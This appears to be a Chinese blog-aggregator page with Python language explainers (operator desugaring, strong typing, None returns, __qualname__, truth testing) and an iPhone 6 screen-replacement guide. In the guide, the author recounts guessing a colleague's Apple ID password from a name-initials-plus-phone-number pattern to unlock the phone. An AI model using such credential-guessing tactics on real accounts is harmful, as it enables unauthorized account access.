如果没有上述规则,Spam() - Bacon() 将得到 LessSpam,因为 Spam 不知道减掉 Bacon 应该得出 VeggieSpam。
但是,有了上述规则,就会得到预期的结果 VeggieSpam,因为 Bacon.__rsub__() 首先会在表达式中被调用(如果计算的是 Bacon() - Spam(),那么也会得到正确的结果,因为首先会调用 Bacon.__sub__(),因此,规则里才会说两个类的不同的方法需有区别,而不仅仅是一个由 issubclass() 判断出的子类。)
# Python中减法的完整实现
_MISSING = object()

def sub(lhs: Any, rhs: Any, /) -> Any:
        # lhs.__sub__
        lhs_type = type(lhs)
        try:
            lhs_method = debuiltins._mro_getattr(lhs_type, "__sub__")
        except AttributeError:
            lhs_method = _MISSING

        # lhs.__rsub__ (for knowing if rhs.__rub__ should be called first)
        try:
            lhs_rmethod = debuiltins._mro_getattr(lhs_type, "__rsub__")
        except AttributeError:
            lhs_rmethod = _MISSING

        # rhs.__rsub__
        rhs_type = type(rhs)
        try:
            rhs_method = debuiltins._mro_getattr(rhs_type, "__rsub__")
        except AttributeError:
            rhs_method = _MISSING

        call_lhs = lhs, lhs_method, rhs
        call_rhs = rhs, rhs_method, lhs

        if (
            rhs_type is not _MISSING  # Do we care?
            and rhs_type is not lhs_type  # Could RHS be a subclass?
            and issubclass(rhs_type, lhs_type)  # RHS is a subclass!
            and lhs_rmethod is not rhs_method  # Is __r*__ actually different?
        ):
            calls = call_rhs, call_lhs
        elif lhs_type is not rhs_type:
            calls = call_lhs, call_rhs
        else:
            calls = (call_lhs,)

        for first_obj, meth, second_obj in calls:
            if meth is _MISSING:
                continue
            value = meth(first_obj, second_obj)
            if value is not NotImplemented:
                return value
        else:
            raise TypeError(
                f"unsupported operand type(s) for -: {lhs_type!r} and {rhs_type!r}"
            )

推广到其它二元运算

解决掉了减法运算,那么其它二元运算又如何呢?好吧,事实证明它们的操作相同,只是碰巧使用了不同的特殊/魔术方法名称。
所以,如果我们可以推广这种方法,那么我们就可以实现 13 种操作的语义:+ 、-、*、@、/、//、%、**、<<、>>、&、^、和 |。
由于闭包和 Python 在对象自省上的灵活性,我们可以提炼出 operator 函数的创建。
# 一个创建闭包的函数,实现了二元运算的逻辑
_MISSING = object()


def _create_binary_op(name: str, operator: str) -> Any:
    """Create a binary operation function.

    The `name` parameter specifies the name of the special method used for the
    binary operation (e.g. `sub` for `__sub__`). The `operator` name is the
    token representing the binary operation (e.g. `-` for subtraction).

    """

    lhs_method_name = f"__{name}__"

    def binary_op(lhs: Any, rhs: Any, /) -> Any:
        """A closure implementing a binary operation in Python."""
        rhs_method_name = f"__r{name}__"

        # lhs.__*__
        lhs_type = type(lhs)
        try:
            lhs_method = debuiltins._mro_getattr(lhs_type, lhs_method_name)
        except AttributeError:
            lhs_method = _MISSING

        # lhs.__r*__ (for knowing if rhs.__r*__ should be called first)
        try:
            lhs_rmethod = debuiltins._mro_getattr(lhs_type, rhs_method_name)
        except AttributeError:
            lhs_rmethod = _MISSING

        # rhs.__r*__
        rhs_type = type(rhs)
        try:
            rhs_method = debuiltins._mro_getattr(rhs_type, rhs_method_name)
        except AttributeError:
            rhs_method = _MISSING

        call_lhs = lhs, lhs_method, rhs
        call_rhs = rhs, rhs_method, lhs

        if (
            rhs_type is not _MISSING  # Do we care?
            and rhs_type is not lhs_type  # Could RHS be a subclass?
            and issubclass(rhs_type, lhs_type)  # RHS is a subclass!
            and lhs_rmethod is not rhs_method  # Is __r*__ actually different?
        ):
            calls = call_rhs, call_lhs
        elif lhs_type is not rhs_type:
            calls = call_lhs, call_rhs
        else:
            calls = (call_lhs,)

        for first_obj, meth, second_obj in calls:
            if meth is _MISSING:
                continue
            value = meth(first_obj, second_obj)
            if value is not NotImplemented:
                return value
        else:
            exc = TypeError(
                f"unsupported operand type(s) for {operator}: {lhs_type!r} and {rhs_type!r}"
            )
            exc._binary_op = operator
            raise exc
有了这段代码,你可以将减法运算定义为 _create_binary_op(“sub”, “-”),然后根据需要重复定义出其它运算。

更多信息

通过本博客的“语法糖”标签,你可以找到更多详解 Python 语法的文章。源代码可以在https://github.com/brettcannon/desugar上找到。

更正

  • 2020-08-19:修复了当__rsub__() 比 __sub__() 先调用时的规则。
  • 2020-08-22:修复了当类型相同时不调用__rsub__ 的问题;还精简了过渡代码,仅保留开头和结尾代码,这让我轻松些。
  • 2020-08-23:在多数示例中添加了内容。

September 09, 2020 12:00 AM

September 02, 2020

anji66

iphone6换屏教程,附iphone已停用解锁

处暑过了有十天了,白露时节转眼就到了跟前,上海的天,早晚总算是凉下来了,早上出门的时候开着窗,终于不用一路打着空调到公司,这倒是可以真切的听到林荫新路上的蝉鸣,只是这秋蝉叫的愈发凄凉了。这篇原本是7月就该更的文,硬是被高温拖到了今天。文中这手机是我们销售三部经理的备用机,原本好好的放在一边没管,过了一个黄梅天,发现花屏了,顺道还试错了N次锁屏密码,结果看到了就是图中的鬼样子。

1.jpg


那天看到他在弄这个手机,正好我在边上,问我怎么弄,就说拿苹果店去处理呗,答去过了,果店要发票,否则不给解锁。问发票呢?答早不见了,再问哪买的?找卖家肯定有凭证,答昆山,那店还在不在都不确定。我勒个去,一连串的路全部堵死了。又问这手机是不是坏了也没啥影响,答是的,捡起来给女儿上网课用用,不行就再去买个新的咯。得,我看看吧,死马当活马医,医好了还你个手机,医不好就当送我一个废品。


先要确定屏幕是不是坏了

拿到手,因为锁屏密码也不知道,正好这个屏幕显示的跟个钢琴键似的,肯定要怀疑下是系统的问题而非硬件问题。所以接iTunes更新下系统看看,正好烂果最近刚升级一波系统。一顿操作猛如虎,开机还是二百五,没戏,系统是升级成功了,屏幕还是花的。至此断定应该是硬件坏了。沟通了下要不要修,反正一块屏没多少钱,比买台新手机划算多了。万能东宝又来了,链接在这里,某宝iphone6屏幕某东iphone6屏幕

2.jpg

3.jpg

4.jpg

5.jpg


一、拆底部螺丝后拉开屏幕

iphone都一个尿性,底部有两个梅花螺丝,直接拧下来即可。然后把吸盘放在HOME键一侧用力拉起一个缝隙,迅速上指甲。当然没指甲就用撬棒吧,我觉得指甲好用,划拉一圈,屏幕也就脱离了。取掉屏幕,记得HOME键这一侧先翘起,头部的有卡扣,这个在上一篇iphone7换电池的教程中有说明,具体可以点链接查看

6.jpg

7.jpg


二、拆除电池排线

sim卡槽下面有一块金属压板,上面两个螺丝,卸下,然后就能看到排线插头了,轻轻撬开排线,让设备彻底断电。

8.jpg

9.jpg


三、拆除屏幕总成排线

屏幕总成排线在顶部,除屏幕排线外,这里还有两根排线也在一起,包括前置摄像头、传感器和听筒的排线。拆除方法也简单,卸下6颗螺丝,拆掉排线压板,依次撬开排线就行。注意这里螺丝有长有短,待会儿回装的时候位置别错,要不然长螺丝攻穿下面的芯片就彻底玩完了。

10.jpg

11.jpg


四、分离屏幕总成,插新屏幕试屏

上面的排线拆完以后,整个屏幕总成就可以分离了。然后把新买的屏幕排线插上,插上电源线,开机试下买的屏幕是否有问题。确认没问题就可以关机取下新屏幕了。

12.jpg

13.jpg

14.jpg


五、拆原屏幕上HOME键总成

买的屏幕总成上是不带HOME键的,iphone6也是实体HOME键,集成了指纹传感器在上面。所以得把原屏幕上的HOME键取下来换到新屏幕上。拆除方法也是先拆除金属压板,只是这个压板的主要作用是支撑HOME键顺带压着排线。拆压板容易,拆排线这里要注意一下,这里有个拐角,有个塑料小卡柱和热熔胶点过,所以需要用薄一点的刀片或者镊子之类的工具撬开红框中的部分。最后用手指从另一侧顶开HOME键就OK了,主要HOME键周围有一圈薄的密封圈。动作温柔点还能原封不动贴好到新屏幕上,动作粗鲁点弄坏密封圈,也没多大影响,装的时候把残余扯干劲就行

15.jpg

16.jpg

17.jpg


六、装HOME键到新屏幕,回装新屏幕到手机

步骤就不写了,倒着再来一遍就完事了。整个手机硬件部分就复原了,要换屏幕的教程到这里就结束了。

18.jpg

19.jpg


七、关于通过APPLE ID 刷机清锁屏密码

如果你被锁屏的,并且不知道APPLE ID的账号密码,请谨慎操作,一旦刷机了没密码就彻底完犊子开不了机了。我在换屏之前通过社工方法找到了appleID的密码的,巧就巧在烂果定义密码的规则上,要求首字母大写,然后销售部另外一个同事之前说密码当初是不是他给设置的。可能是名字首字母加电话号码的形式。我在iTunes上试过各种密码,最后去试的名字拼音首字母加电话号码的形式,没成想,成功了。后续果断刷机恢复。

20.jpg


水完,雨后的傍晚空气还是不错的。哦对了,图片加水印了,主要是我这水文也不值钱,但老有鸟人把这不值钱的水文搬到头条上,导致统计里面总是有头条的来路,故意恶心我是吧。


by 西枫里 at September 02, 2020 09:34 AM

August 30, 2020

pythoncat

Python 到底是强类型语言,还是弱类型语言?

0、前言

我在上一篇文章中分析了 为什么 Python 没有 void 类型 的话题,在文章发布后,有读者跟我讨论起了另一个关于类型的问题,但是,我们很快就出现了重大分歧。
我们主要的分歧就在于:Python 到底是不是强类型语言? 我认为是,而他认为不是。
他写了一篇很长的文章《谁告诉的你们Python是强类型语言!站出来,保证不打你!》,专门重申了他的观点,但可惜错漏百出。
我曾有想法要写写关于 Python 类型的问题,现在借着这个机会,就来系统地梳理一下吧。
(PS:在我写作进行到差不多一半的时候,微信读者群里恰好也讨论到“强弱类型”的话题!在与大家讨论时,我的一些想法得到了验证,同时我也学到了很多新知识,所以本文的部分内容有群友们的功劳,特此鸣谢!)

1、动静类型与强弱类型

很多读者应该都熟悉动态类型静态类型 ,但是很多人也会把它们跟强弱类型 混为一谈,所以我们有必要先作一下概念上的澄清。
这两组类型都是针对于编程语言而言的,但关注的核心问题不同。
对于“动静类型”概念,它的核心问题是“什么时候知道一个变量是哪种类型”?
一般而言,在编译期就确定变量类型的是静态类型语言,在运行期才确定变量类型的则是动态类型语言。
例如,某些语言中定义函数“int func(int a){…}”,在编译时就能确定知道它的参数和返回值是 int 类型,所以是静态类型;而典型如 Python,定义函数时写“def func(a):…”,并不知道参数和返回值的类型,只有到运行时调用函数,才最终确定参数和返回值的类型,所以是动态类型
对于“强弱类型”概念,它的核心问题是“不同类型的变量是否允许隐式转化”?
一般而言,编译器有很少(合理)隐式类型转化的是强类型语言,有较多(过分)隐式类型转化的是弱类型语言。
例如,Javascript 中的 "1000"+1 会得到字符串“10001”,而 "1000"-1 则会得到数字 999,也就是说,编译器根据使用场合,对两种不同类型的对象分别做了隐式的类型转化,但是相似的写法,在强类型语言中则会报类型出错。(数字与字符串的转化属于过分的转化,下文会再提到一些合理的转化。)
按照以上的定义,有人将常见的编程语言画了一张分类图:
按强弱类型维度的划分,可以归纳出:
  • 强类型:Java、C#、Python、Ruby、Erlang(再加GO、Rust)……
  • 弱类型:C、C++、Javascript、Perl、PHP、VB……

2、过去的强弱类型概念

动静类型的概念基本上被大家所认可,然而,强弱类型的概念在问答社区、技术论坛和学术讨论上却有很多的争议。此处就不作罗列了。
为什么会有那么多争议呢?
最主要的原因之一是有人把它与动静类型混用了。
最明显的一个例子就是 Guido van Rossum 在 2003 年参加的一个访谈,它的话题恰好是关于强弱类型的(Strong versus Weak Typing):
但是,他们谈论的明显只是动静类型的区别。
访谈中还引述了 Java 之父 James Gosling 的话,从他的表述中也能看出,他说的“强弱类型”其实也是动静类型的区分。
另外还有一个经典的例子,C 语言之父 Dennis Ritchie 曾经说 C 语言是一种“强类型但是弱检查”**的语言。如果对照成前文的定义,那他其实指的是“静态类型弱类型”。
为什么这些大佬们会有混淆呢?
其实原因也很简单,那就是在当时还没有明确的动静类型与强弱类型的概念之分!或者说,那时候的强弱类型指的就是动静类型。
维基百科上给出了 1970 年代对强类型的定义,基本可以还原成前文提到的静态类型:

In 1974, Liskov and Zilles defined a strongly-typed language as one in which “whenever an object is passed from a calling function to a called function, its type must be compatible with the type declared in the called function.“[3] In 1977, Jackson wrote, “In a strongly typed language each data area will have a distinct type and each process will state its communication requirements in terms of these types.“[4]

前面几位编程语言之父应该就是持有类似的观念。
不过,大佬们也意识到了当时的“强弱类型”概念并不充分准确,所以 Dennis Ritchie 才会说成“强类型但是弱检查”,而且在访谈中,Guido 也特别强调了 Python 不应该被称为弱类型,而应该说是运行时类型(runtime typing)
但是在那个早期年代,基本上强弱类型就等同于动静类型,而这样的想法至今仍在影响着很多人。

3、现在的强弱类型概念

早期对于编程语言的分类其实是混杂了动静与强弱两个维度,但是,它们并不是一一对应重合的关系,并不足以表达编程语言间的区别,因此就需要有更为明确/丰富的定义。
有人提出了“type safety”、“memory safety”等区分维度,也出现了静态检查类型和动态检查类型,与强弱类型存在一定的交集。
直到出现 2004 年的一篇集大成的学术论文《Type Systems》(出自微软研究院,作者 Luca Cardelli),专门研究编程语言的不同类型系统:
论文中对于强弱检查(也即强弱类型)有一个简短的归纳如下:
  • Strongly checked language: A language where no forbidden errors can occur at run time (depending on the definition of forbidden error).
  • Weakly checked language: A language that is statically checked but provides no clear guarantee of absence of execution errors.
其关键则是程序对于 untrapped errors 的检查强度,在某些实际已出错的地方,弱类型程序并不作捕获处理,例如 C 语言的一些指针计算和转换,而《C 程序员十诫》的前几个都是弱类型导致的问题。
论文对于这些概念的定义还是比较抽象的,由于未捕获的错误(untrapped errors)大多是由于隐式类型转换所致,所以又演化出了第一节中的定义,以隐式类型转换作为判断标准。
如今将“对隐式类型转换的容忍度”**作为强弱类型的分类标准,已经是很多人的共识(虽然不够全面,而且有一些不同的声音)。
例如,维基百科就把隐式类型转换作为弱类型的主要特点之一:

A weakly typed language has looser typing rules and may produce unpredictable results or may perform implicit type conversion at runtime.

例如,以 Python 为例,社区的主流看法认为它是强类型语言,而判断的标准也是看隐式类型转换。
例子有很多,比如 Python 官方的 wiki,它专门回答了Why is Python a dynamic language and also a strongly typed language ,给出了 4 个答案,为 Python 的“动态强类型”定性:
再比如,在《流畅的Python》第11章的杂谈中,也专门提到了强弱类型的分类。(它的用语是“很少隐式类型转换”,算是比较严谨的,但是也错误地把 C++ 归为了强类型。)

4、Python 是不是强类型语言?

关于“Python 是否属于强类型”话题,在主流观点之外,还存在着不少误解的看法。
一方面的原因有些人混用了强弱类型与动静类型,这有历史的原因,前面已经分析了。
另外还有一个同样重要的原因,即有人把弱类型等同于“完全没有隐式类型转换”了,这种想法并不对。
事实上,强弱类型的概念中包含着部分相对主义的含义,强类型语言中也可能有隐式类型转换。
比如,Rust 语言为了实现“内存安全”的设计哲学,设计了很强大的类型系统,但是它里面也有隐式类型转换(自动解引用)。
问题在于:怎么样的隐式类型转换是在合理范围内的?以及,某些表面的隐式类型转换,是否真的是隐式类型转换?
回到 Python 的例子,我们可以分析几种典型的用法。
比如,"test"*3 这种字符串“乘法”运算,虽然是两种类型的操作,但是并不涉及隐式类型转换转化。
比如,x=10; x="test" 先后给一个变量不同类型的赋值,表面上看 x 的类型变化了,用 type(x) 可以判断出不同,但是,Python 中的类型是跟值绑定的(右值绑定),并不是跟变量绑定的。
变量 x 准确地说只是变量名,是绑定到实际变量上的一个标签,它没有类型。type(x) 判断出的并不是 x 本身的类型,而是 x 指向的对象的类型,就像内置函数 id(x) 算出的也不是 x 本身的地址,而是实际的对象的地址。
比如,1 + True 这种数字与布尔类型的加法运算,也没有发生隐式类型转换。因为 Python 中的布尔类型其实是整型的子类,是同一种类型!(如果有疑问,可查阅 PEP-285
再比如,整数/布尔值与浮点数相加,在 Python 中也不需要作显式类型转换。但是,它的实现过程其实是用了数字的__add__() 方法,Python 中一切皆对象,数字对象也有自己的方法。(其它语言可不一定)
也就是说,数字间的算术运算操作,其实是一个函数调用的过程,跟其它语言中的算术运算有着本质的区别。
另外,不同的数字类型虽然在计算机存储层面有很大差异,但在人类眼中,它们是同一种类型(宽泛地分),所以就算发生了隐式类型转换,在逻辑上也是可以接受的。
最后,还有一个例子,即 Python 在 if/while 之后的真值判断,我之前分析过它的实现原理 ,它会把其它类型的对象转化成布尔类型的值。
但是,它实际上也只是函数调用的结果(__bool__() 和 __len__()),是通过计算而得出的合理结果,并不属于隐式的强制类型转换,不在 untrapped errors 的范畴里。
所以,严格来说,前面 5 个例子中都没有发生类型转换。 浮点数和真值判断的例子,直观上看是发生了类型转换,但它们其实是 Python 的特性,是可控的、符合预期的、并没有对原有类型造成破坏。
退一步讲,若放宽“隐式类型转换”的含义,认为后两个例子发生了隐式类型转换,但是,它们是通过严谨的函数调用过程实现的,也不会出现 forbidden errors,所以还是属于强检查类型。

5、其它相关的问题

前文对概念的含义以及 Python 中的表现,作了细致的分析。接下来,为了逻辑与话题的完整性,我们还需要回答几个小问题:
(1)能否以“隐式类型转换”作为强弱类型的分类依据?
明确的分类定义应该以《Type Systems》为准,它有一套针对不同 error 的分类,强弱类型其实是对于 forbidden errors 的处理分类。隐式类型转换是其明显的特征,但并不是全部,也不是唯一的判断依据。
本文为了方便理解,使用这个主要特征来划分强弱类型,但是要强调,强类型不是没有隐式类型转换,而是可能有很少且合理的隐式类型转换。
(2)假如有其它解释器令 Python 支持广泛的隐式类型转换,那 Python 还是强类型语言么?
语言的标准规范就像是法律,而解释器是执法者。如果有错误的执法解释,那法律还是那个法律,应该改掉错误的执法行为;如果是法律本身有问题(造成了解释歧义和矛盾,或者该废弃),那就应该修改法律,保证它的确定性(要么是强类型,要么是弱类型)。
(3)为什么说 Javascript 是弱类型?
因为它的隐式类型转换非常多、非常复杂、非常过分!比如,Javascript 中123 + null 结果为 123,123 + {} 结果为字符串“123[object Object]”。
另外,它的双等号“==”除了有基本的比较操作,还可能发生多重的隐式类型转换,例如true==['2'] 判断出的结果为 false,而true==['1'] 的结果是 true,还有[]==![][undefined]==false 的结果都为 true……
(4)C++ 是不是弱类型语言?
前文提到《流畅的Python》中将 C++ 归为强类型,但实际上它应该被归为弱类型。C++ 的类型转换是个非常复杂的话题,@樱雨楼 小姐姐曾写过一个系列文章做了系统论述,文章地址:如何攻克 C++ 中复杂的类型转换?详解 C++ 的隐式类型转换与函数重载!谁说 C++ 的强制类型转换很难懂?

6、小结

强弱类型概念在网上有比较多的争议,不仅在 Python 是如此,在 C/C++ 之类的语言更甚。
其实在学术上,这个概念早已有明确的定义,而且事实上也被很多人所接纳。
那些反对的声音大多是因为概念混用,因为他们忽略了另一种对语言进行分类的维度;同时,还有一部分值得注意的原因,即不能认为强类型等于“完全无隐式类型转换”或“只要没有xxx隐式类型转换”。
本文介绍了社区中对 Python 的主流分类,同时对几类疑似隐式类型转换的用法进行了分析,论证出它是一种强类型语言。
文章体现了作者一贯的刨根问底精神,这是“Python为什么”系列文章的风格,如果你喜欢本文,欢迎订阅关注!

相关链接

[1] 谁告诉的你们Python是强类型语言!站出来,保证不打你!: https://blog.csdn.net/nokiaguy/article/details/108218260
[2] Strong versus Weak Typing: https://www.artima.com/intv/strongweak.html

August 30, 2020 12:00 AM

August 21, 2020

pythoncat

Python 为什么没有 void 关键字?

void 是编程语言中最常见的关键字之一,从字面上理解,它是“空的、空集、空白”的意思,最常用于 表示函数的一种返回值类型。
维基百科上有一个定义:

The void type, in several programming languages derived from C and Algol68, is the type for the result of a function that returns normally, but does not provide a result value to its caller.

在 C、Algol68 及它们所派生的几种编程语言中,void 类型是函数正常返回的一种类型,但是不会给调用者返回一个值。

简单来说,void 是一种类型(type),但是没有具体的值(value)。
这到底是什么意思呢?
以 Python 的几种常见类型为例,我们可以从对比中看出规律:int 是一种表示整数的类型,它有无限个可能的整数值;bool 是一种布尔类型,它有两个可能的值(True 和 False);NoneType 是一种表示 None 的类型,它只有一个值(None)。
至于 void,它是一种更为抽象的特殊类型,但是不包含任何值。
介绍完概念上的含义,我们就可以进入正题了。标题中的问题可以进一步分解成两个:
  • 其它语言为什么要使用 void 关键字?
  • Python 为什么不设计出 void 关键字?
对于第一个问题,我们以 C/C++ 为例,先看看 void 的两种使用场景(PS:此处只考虑函数的用法,不考虑指针的用法,因为 Python 没有指针):
当 void 用在函数的参数位置时,它表示该函数不需要传参。
最初 C 语言的f() 表示参数数量不确定,为了另外表达“不需要参数”的语义,所以引入f(void) 作为限定。后来的语言(包括 Python)基本不在参数中使用 void,而是直接用f() 表示不需传参。C++ 为了兼容 C,所以才同时支持这两种语法。
当 void 用在函数前作修饰时,它表示该函数没有返回值。
在 C 语言中,若不声明返回类型,则f() 函数在编译后会返回整型的值。为了避免混乱,当不需要返回值时,就使用void f() 来作限定。
同时,更主要的是,它还起到了占位符的作用,表明一个函数的类型是已知的,这对代码可读性和编译都有所帮助。
void 作为函数的空返回值类型,这种用法在 C++/Java 中也被继承了。另外,在 Javascript 中也有 void 的身影,只不过它成了一种操作符,起到了完全不同的作用,此处不表。
但是,Python 从头到尾都没有 void 关键字。
为什么会这样?难道是因为在 Python 中不存在其它语言所面对的问题么?还是说,Python 中有自己的一套解决方案?
仍以跟函数相关的两种用法为例作分析吧。
在表示函数不需传参时,f(void) 这种写法根本就是多余的,所以 Python 使用了最简单明了的无参式写法f()
至于返回值类型的用法,在我们定义出一个函数时,例如最简单的def func():pass ,为了让它的调用结果func() 是一个合法的对象,那它必须具有一个有效的类型(type)。
这应该是以类型为基的编程语言都会遇到的共性问题,Python 也不例外。
这个时候,如果函数本身没有显式地 return 出一个对象的话,就有两种可能的解决办法:
  • 方法一,即声明该函数为 void 类型,像 C 和其它语言所做的那样,只要能通过类型检查即可
  • 方法二,则是 Python 所用的方法,即令解释器隐式地返回一个 None 对象,也就是令函数默认得到一个 NoneType 类型,再用于类型检查(PS:Javascript 也类似,只不过它默认返回的是 undefined,它不是一个对象,而是一种表示“未定义”的类型,类似于 void)
简单而言,Python 的设计思路是直接复用已有的 NoneType 类型,并让解释器来填补缺失掉的函数类型。
关于 Python 解释器的这个隐式填补过程,我已在上一篇《Python 函数为什么会默认返回 None?》文章详细分析过,感兴趣的同学可去查阅。
这样做的好处至少有两点:一是没有引入新的 void 类型和关键字;二是不需要程序员在函数前声明返回类型,这就跟有显式返回值的写法保持了一致。
试想一下,如果 Python 不让函数默认有返回值的话,就可能要写成 void def func():... 这样的形式,那它就变成了函数定义时的一种特例。与另一种特例函数相比,即异步函数asyc def func():... ,就可能引起混乱。
总体而言,Python 似乎认为 void 空类型不是那么有存在的必要,似乎 NoneType 类型就足够了,而当缺少返回值时,让解释器统一注入是极为方便的,因此才出现了我们看到的现状。
至此,文章标题的问题算是圆满回答了。
最后,让我们开始进入 ending 吧:本文明面上是以“Python 为什么没有 void 关键字”为切入点,然而,它实际上瞄准的却是“Python 为什么需要返回 None”的问题。
在《Python 函数为什么会默认返回 None?》这篇文章中,我介绍了 Python 中函数默认返回 None 的机制,它是属于“how can”的内容。但是为什么要默认返回 None 呢?这则是属于“why need”或者“why should”的问题,而它需要从 void 关键字的缺失开始谈起……
那么,为什么 Python 没有 void 关键字呢?请往上翻,重新阅读本文……

August 21, 2020 12:00 AM

August 15, 2020

pythoncat

Python 函数为什么会默认返回 None?

Python 有一项默认的做法,很多编程语言都没有——它的所有函数都会有一个返回值,不管你有没有写 return 语句。
在正式开始之前,我们就用之前讨论过的 pass语句…对象 作为例子,看看 Python 的函数是怎样“无中生有”的:
可以看出,我们定义的两个函数都没有写任何的 return 语句,但是在函数调用后,都能取到一个返回值。
它们的执行效果跟直接写 return 语句相比,是完全相同的:
这 4 个例子属于两种类型:一种没有写 return,但是都有隐藏的 return 返回值;一种写了 return,而且实际也有返回值。
也就是说,后者在语义和行为上表现一致,前者虽然在语义上缺失,但是却有实际的行为和结果;后者的行为是显性的,前者却是隐性的。
《Python之禅》中有一句“显性胜于隐性(Explicit is better than implicit)”,但是,出于简洁和便利的考虑(Simple is better than complex),实际上 Python 中有很多行为都是隐性的,会把一些在语法层面的事交给解释器去完成。
上一期的 真值判断 是隐性的行为,本文前两个例子也是如此。
使用dis 查看字节码,就可以看到其背后的小动作:
在这个对比图中,可以看出上述 4 个函数的解释器指令一模一样!
不管有没有写 return,它们都会执行 return 的逻辑,而且默认的返回值就是 None。
那么,问题来了:Python 的函数为什么能默认返回 None 呢?它是如何实现的呢?
答案就在解释器中,当 CPython 解释器执行到函数的最后一个代码块时,若发现没有返回值,它就会主动地加上一个 Py_None 值返回(出自:compile.c):
也就是说,如果定义的函数没有返回值,Python 解释器就会(强行地)默认给我们注入一段返回逻辑!
对于解释器的这种附赠的服务,大家是觉得很贴心,还是嫌弃它多事呢?
这样的做法似乎没多少好处,但似乎也没有坏处?
那么,这就会引出新的问题:Python 为什么要求函数都要有返回值呢?为什么它不像某些语言那样,提供一个 void 关键字,支持定义无返回值的空函数呢?
请查看本系列的下一篇文章!

August 15, 2020 12:00 AM

August 14, 2020

pythoncat

一个在交流群里讨论过两轮的问题,答案竟然跟一个 PEP 有关

Python 中有没有办法通过类方法找到其所属的类?
这个问题看起来不容易理解,我可以给出一个例子:
class Test:
    @xxx
    def foo(self):
        pass
现在有一个类和一个类方法,其中类方法上有一个装饰器。
我们的问题就是要在装饰器代码中动态地获得 Test 这个类(类名+类对象)。
去年 11 月份的时候,我在微信读者群里提出了这个问题,当时引起了小范围的讨论。
没想到在今年上个月的时候,群里又有人提了同样的问题(我在讨论结束后才看到),而且最终都找到了 stackoverflow 上一个同样的问题:
stackoverflow 上的问题提得很明确:Get defining class of unbound method object in Python 3 。但是 unbound method 的叫法已经不常见了,详细的讨论也就不展开了,感兴趣的同学可以去查阅。
这个问题的关键是要使用在 Python 3.3 中引入的__qualname__ 属性,通过它可以获取上层类的名称。
铺垫了这么多,开始进入本文的正题了:__qualname__ 属性是什么东西?为什么 Python 3 要特别引入它呢?
下文是 PEP-3155 的翻译摘录,清楚地说明了这个属性的来龙去脉。
-------------------摘录开始--------------------

原理

一直以来,对于嵌套类的自省,Python 的支持很不够。给定一个类对象,根本不可能知道它是在某个类中定义的,还是在顶层模块中定义的;而且,如果是前者,也不可能知道它具体是在哪个类中定义的。虽然嵌套类通常被认为是不太好的用法,但这不应该成为不支持内层自省的理由。
Python 3 因为丢弃了以前的未绑定方法(unbound method),而受到了侮辱性的伤害。
在 Python 2 中,给出以下定义:
class C:
    def f():
        pass
你可以从C.f 对象中获得其所属的类:
>>> C.f.im_class
<class '__main__.C'>
这种用法在 Python 3 中已经没有了:
>>> C.f.im_class
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'function' object has no attribute 'im_class'
>>> dir(C.f)
['__annotations__', '__call__', '__class__', '__closure__', '__code__',
'__defaults__', '__delattr__', '__dict__', '__dir__', '__doc__',
'__eq__', '__format__', '__ge__', '__get__', '__getattribute__',
'__globals__', '__gt__', '__hash__', '__init__', '__kwdefaults__',
'__le__', '__lt__', '__module__', '__name__', '__ne__', '__new__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__',
'__str__', '__subclasshook__']
这就限制了用户可以使用的自省能力。当将程序移植到 Python 3 时,它可能会产生一些实际的问题,例如在 Twisted 的核心代码中,就多次使用到了这种自省方法。此外,这还限制了对 pickle 序列化的支持

提议

本 PEP 提议在函数和类中添加 __qualname__ 属性。
对于顶层的函数和类,__qualname__ 属性等于__name__ 属性。对于嵌套的类、方法和嵌套函数,__qualname__ 属性包含一个点式路径(dotted path),通向顶层模块下的对象。函数的局部命名空间在点式路径中由名为 <locals> 的组件表示。
函数和类的 repr() 和 str() 被修改为使用__qualname__ 而不再是__name__。

嵌套类的示例

>>> class C:
...   def f(): pass
...   class D:
...     def g(): pass
...
>>> C.__qualname__
'C'
>>> C.f.__qualname__
'C.f'
>>> C.D.__qualname__
'C.D'
>>> C.D.g.__qualname__
'C.D.g'

嵌套函数的示例

>>> def f():
...   def g(): pass
...   return g
...
>>> f.__qualname__
'f'
>>> f().__qualname__
'f.<locals>.g'

不足之处

对于嵌套函数(以及在函数内部定义的类),由于无法从外部获得函数的命名空间,因此点式路径无法以动态编程的方式遍历。相比于空的__name__,它对于人类读者还是有些帮助的。
跟__name__属性一样,__qualname__ 属性是静态计算的,不会自动地重新绑定。

讨论

去除模块名称

跟__name__一样,__ qualname__ 不包含模块的名称。这使得它不受制于模块别名和重新绑定,也得以在编译期进行计算。

恢复 unbound 方法

恢复 unbound 方法只能解决此 PEP 解决了的部分问题,而且代价更高(额外的对象类型和额外的间接寻址,不如用额外的属性)。
-------------------摘录结束--------------------

后记

去年我在阅读ddt 库关于参数化测试的源码 时,偶然想到了文章开头的问题,但是没有作进一步的梳理(似乎感兴趣的人也不多)。没想到的是在群里又出现了同样的讨论,这让我意识到这个问题是有价值的。
前几天,我偶然间发现__qualname__ 属性有一个专门的 PEP,所以我就抽空把它翻译出来了——既是一种知识梳理,也是给大家做一个“科普”吧。说不定什么时候,还有人会遇到同样的问题呢,希望对大家有所帮助。
更多的 PEP 中文翻译内容,可在 Github 查阅:https://github.com/chinesehuazhou/peps-cn

August 14, 2020 12:00 AM

August 08, 2020

pythoncat

Python 为什么能支持任意的真值判断?

Python 在涉及真值判断Truth Value Testing)时,语法很简便。
比如,在判断某个对象是否不为 None 时,或者判断容器对象是否不为空时,并不需要显示地写出判断条件,只需要在 if 或 while 关键字后面直接写上该对象即可。
下图以列表为例,if my_list 这个简短的写法可以表达出两层意思:
如果需要作出相反的判断,即“如果为 None 或为空”,只需要写成if not my_list 即可。

与众不同的真值判断方式

通常而言,当一个值本身是布尔类型时,写成”if xxx”(如果真),在语义上就很好理解。如果 xxx 本身不是布尔类型时,写成“if xxx”(如果某东西),则在语义上并不好理解。
在 C/C++/Java 之类的静态语言中,通常要先基于 xxx 作一个比较操作,比如“if (xxx == null)”,以此得到一个布尔类型的值的结果,然后再进行真值判断。否则的话,若“if xxx”中有非布尔类型的值,则会报类型错误。
Python 这门动态语言在这种场景中表现出了一种灵活性,那么,我们的问题来了:为什么 Python 不需要先做一次比较操作,直接就能对任意对象作真值判断呢?
先来看看文档 中对真值判断的描述:
简单而言,Python 的任何对象都可以用在 if 或 while 或布尔操作(and、or、not)中,默认情况下认为它是 true,除非它有__bool__() 方法返回False 或者有__len__() 方法返回0
